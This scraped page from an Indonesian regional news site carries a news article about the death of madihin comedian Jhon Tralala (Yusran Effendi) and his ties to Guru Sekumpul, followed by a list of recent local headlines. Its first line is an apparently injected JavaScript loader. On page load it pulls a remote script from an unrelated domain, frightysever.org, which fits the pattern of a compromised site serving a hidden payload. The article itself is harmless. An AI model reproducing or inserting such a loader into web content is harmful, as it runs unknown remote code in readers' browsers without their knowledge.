(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kanal

Si “Raja Aa Nih” Selalu Buat Orang Bahagia, Guru Sekumpul Pun Sering Menyebutnya


Sepanjang hidup Jhon Tralala selalu bikin orang gembira, lupa akan kesulitan hidup, hingga tertawa terpingkal-pingkal. Hingga akhir hayat pun, pagi sebelum meninggal dunia almarhum Jhon Tralala masih sempat membuat orang tertawa, saat tampil di Gambut pada Selasa (26/6) pagi, sebelum berpulang ke Rahmatullah di Rumah Sakit Bhayangkara siang sekitar pukul 14.00 Wita.

John Tralala bernama asli Yusran Effendi ini adalah seorang master ceremony (MC), pelawak, budayawan dan seniman Madihin dari Banjarmasin, Kalimantan Selatan. Popularitasnya tidak hanya diakui di daerah asal Banjarmasin, tetapi sampai ke tanah Jawa, bahkan sampai ke luar negeri.

Gaya lawakan sebagai pemadihinan (bahasa Banjar: pemain Madihin) oleh almarhum dilakukan secara spontan dengan menyesuaikan syair-syair dalam madihin ke dalam konteks keseharian. Isi lawakannya mengarah kepada nasihat-nasihat yang bersifat religius.

Mantan presiden Soeharto di era Orde Baru pernah menikmati sajian madihin oleh John Tralala, hingga berujung pada pemberian ongkos naik haji (ONH) Plus oleh Soeharto kepadanya.

Karier di dunia lawak dimulai saat John Tralala membentuk grup lawak John Tralala Group pada tahun 1990 dan beranggotakan 3 personel pria (satu di antaranya adalah anaknya, Hendra Tralala). Sejak saat itu, grup lawak ini telah dua kali menjuarai lomba lawak tingkat nasional (terakhir tahun 2001).

Setelah menjadi ikon pelawak di Banjarmasin dan sekitarnya, ia mengubah konsep lawakannya sekaligus mengenalkan budaya daerah Banjarmasin, madihin, menjadi konsep madihin yang bernuansa humor.

Dikutip dari buku Bertamu ke Sekumpul, pengalaman pelawak H John Tralala. Bersama KH Ahmad Bakeri pada 1993, John Tralala pertama kali bertandang ke Sekumpul.

Kala itu dia baru saja menunaikan ibadah haji, hadiah dari Presiden Soeharto atas kiprahnya di bidang seni madihin. Pertemuan itu sangat berkesan bagi John Tralala, karena Guru Sekumpul berkata, naik hajinya John Tralala merupakan balasan Allah atas ikut berjasanya dia membantu mengumpulkan dana pembangunan masjid, langgar dan sekolah dari lawakannya.

Beberapa waktu kemudian, John Tralala kerap berkunjung ke Sekumpul. Menariknya, ketika bertemu, antara John Tralala dan Guru Sekumpul saling bertukar cerita lucu. Praktis sepanjang pertemuan hanya humor dan gelak tawa yang terdengar.

“Sidin lucut tatawa (beliau tertawa gelak),” kata John, pada suatu sore di bulan Ramadahan 2003 lalu, sambil mengisahkan cerita yang membuat Guru Sekumpul terpingkal itu. John Tralala sendiri kerap disebut-sebut Guru Sekumpul dalam beberapa kali pengajian.

“Raja Aa nih,” kata Guru Sekumpul menirukan ungkapan khas ciptaan John Tralala. Tak lama setelah itu, John Tralala hadir ketika pengajian berlangsung. Dia duduk di samping kiri Guru Sekumpul mengenakan busana serba putih. Lagi-lagi gelak tawa menghiasi sepanjang pengajian.

Manakala membawakan acara Baturai Pantun di TVRI Kalsel, pelawak bernama asli H Yusran Effendi ini selalu menyelipkan pantun yang isinya mendoakan Guru Sekumpul senantiasa sehat wal afiat dan panjang umur. “Saya mempunyai semacam ikatan batin dengan Abah Guru,” kenang John Tralala.

Putra sulung pemadihin H Yusran Effendi alias Jhon Tralala, Hendra mengatakan dirinya tidak sempat menemani saat-saat terakhir almarhum saat dirawat di rumah sakit Bhayangkara Banjarmasin.

“Saya ke masjid lalu dikabari ayah meninggal dan tidak sempat ke rumah sakit, ketemunya di rumah saja tadi,” kata pemadihin Banua ini penerus jejak sang ayahnya sendiri.

“Orangnya sehat saja lagi tadi. Lalu tadi katanya sesak nafas dan beliau juga ada riwayat sakit jantung,” ujar Hendra.

Rencananya kata Hendra, almarhum Jhon Tralala akan dimakamkan di makam keluarga di Pasar Arba Pamangkih, Rabu (27/6) pagi.

“Di situ juga ada makam kakek dan nenek, alkah keluarga,” ujar Hendra.

(buku bertamu se sekumpul/bie)

Reporter : Buku bertamu se sekumpul, Bie
Editor : Abi Zarrin Al Ghifari

Desy Arfianty

Recent Posts

Dispersip Kalsel-LPKA Martapura Kerja Sama Layanan Perpustakaan Keling dan Penyediaan Bahan Baca

KANALKALIMANTAN.COM, BANJARMASIN – Dinas Perpustakaan dan Kearsipan (Dispersip) Provinsi Kalimantan Selatan (Kalsel) bersama Lembaga Pemasyarakatan… Read More

13 jam ago

Muhidin Gubernur Kalsel Definitif, 7 Februari 2025 Kembali Dilantik

KANALKALIMANTAN.COM, JAKARTA - Setelah hampir sebulan mejabat Plt (Pelaksana tugas) Gubernur Kalimantan Selatan (Kalsel), H… Read More

16 jam ago

Atasi Persimpangan Tak Beraturan, APILL LIK Liang Anggang Siap Beroperasi

KANALKALIMANTAN.COM, BANJARBARU - Dinas Perhubungan (Dishub) Provinsi Kalimantan Selatan (Kalsel) memasang titik Alat Pemberi Isyarat… Read More

19 jam ago

BPBD Balangan Tetapkan Status Siaga Bencana Batingsor Hingga April 2025

KANALKALIMANTAN.COM, PARINGIN - Antisipasi dan kesiapsiagaan menghadapi bencana banjir, puting beliung dan tanah longsor (Batingsor),… Read More

21 jam ago

Jelang Nataru PLN Pastikan Kesiapan Infrastruktur dan Layanan Kelistrikan Andal

KANALKALIMANTAN.COM, JAKARTA - Menjelang perayaan hari besar Natal 2024 dan pergantian tahun ke 2025, PT… Read More

21 jam ago

Banjarmasin Dilanda Banjir Rob, Jalan Kampus ULM Tergenang

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob melanda sejumlah wilayah di Kota Banjarmasin, Provinsi Kalimantan Selatan (Kalsel).… Read More

22 jam ago

This website uses cookies.